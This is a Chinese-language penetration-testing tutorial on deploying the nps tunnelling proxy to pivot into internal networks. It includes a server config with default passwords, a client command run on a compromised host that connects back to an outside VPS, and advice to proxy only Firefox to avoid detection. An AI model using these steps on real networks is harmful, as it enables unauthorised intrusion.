0x01.nps介紹
在滲透測試過程中 , 我們肯定會遇到內網的滲透 , 如果是團隊合作那么代理肯定不能少了 , 推薦一款工具nps
一款輕量級、高性能、功能強大的內網穿透代理服務器。支持tcp、udp、socks5、http等幾乎所有流量轉發,可用來訪問內網網站、本地支付接口調試、ssh訪問、遠程桌面,內網dns解析、內網socks5代理等等……,並帶有功能強大的web管理端。a lightweight, high-performance, powerful intranet penetration proxy server, with a powerful web management terminal
github地址: https://github.com/cnlh/nps/releases
選擇對應平台的下載 , 解壓
0x02.部署nps
1.配置服務端
這里我們把服務端部署在vps上 , 方便多人運動
, 解壓好的服務端壓縮包會有三個文件
conf nps web
這里我們只需要對conf下的nps.conf進行修改就可以了 , 如果你的vps某些常見的端口已經使用了 , 必須要修改一下nps.conf
appname = nps
#Boot mode(dev|pro)
runmode = dev
#HTTP(S) proxy port, no startup if empty
http_proxy_ip=0.0.0.0
http_proxy_port=81
https_proxy_port=443
https_just_proxy=true
#default https certificate setting
https_default_cert_file=conf/server.pem
https_default_key_file=conf/server.key
##bridge
bridge_type=tcp
bridge_port=8024
bridge_ip=0.0.0.0
# Public password, which clients can use to connect to the server
# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
public_vkey=123
#Traffic data persistence interval(minute)
#Ignorance means no persistence
#flow_store_interval=1
# log level LevelEmergency->0 LevelAlert->1 LevelCritical->2 LevelError->3 LevelWarning->4 LevelNotice->5 LevelInformational->6 LevelDebug->7
log_level=7
#log_path=nps.log
#Whether to restrict IP access, true or false or ignore
#ip_limit=true
#p2p
#p2p_ip=127.0.0.1
#p2p_port=6000
#web
web_host=a.o.com
web_username=admin # 默認賬號
web_password=123 # 默認密碼
web_port = 8086 # 默認端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
# if web under proxy use sub path. like http://host/nps need this.
#web_base_url=/nps
#Web API unauthenticated IP address(the len of auth_crypt_key must be 16)
#Remove comments if needed
#auth_key=test
auth_crypt_key =1234567812345678
#allow_ports=9001-9009,10001,11000-12000
#Web management multi-user login
allow_user_login=false
allow_user_register=false
allow_user_change_username=false
#extension
allow_flow_limit=false
allow_rate_limit=false
allow_tunnel_num_limit=false
allow_local_proxy=false
allow_connection_num_limit=false
allow_multi_ip=false
system_info_display=false
#cache
http_cache=false
http_cache_length=100
#get origin ip
http_add_origin_header=false
#pprof debug options
#pprof_ip=0.0.0.0
#pprof_port=9999
#client disconnect timeout
disconnect_timeout=60
修改好端口后 , 回到nps所在的目錄 , 啟動nps
./nps
啟動的時候會檢查端口占用情況 , 如果有的已經占用的 , 修改之前的配置文件即可
訪問npsweb端
http://ip:8086/login/index
默認賬號: admin
密碼: 123
新增一個客戶端
保存好客戶端命令 , 以及basic認證的用戶名和密碼 , 下面會用到
新建socks5代理
2.配置客戶端
這里用winserver2008演示 , 實戰中就是一台你拿下的有雙網卡的主機
然后在客戶端上執行以下命令
npc.exe -server=119.3.12.54:8024 -vkey=xwj6qcpr0uuhq1ns -type=tcp
客戶端連接成功 , 服務端上線成功
0x03.配置Proxifier
已知winserver2008所在的內網有台機器(192.168.143.132)開了一個web界面 , 現在通過配置proxifier訪問內網
添加代理服務器
配置代理規則 , 如果你讓這台機器的所有應用 , 訪問所有ip都走代理的話 , 流量很大 , 容易被覺察 , 所以我們只配一下firefox訪問內網走代理 , 其他直接放行
打開火狐訪問內網web頁面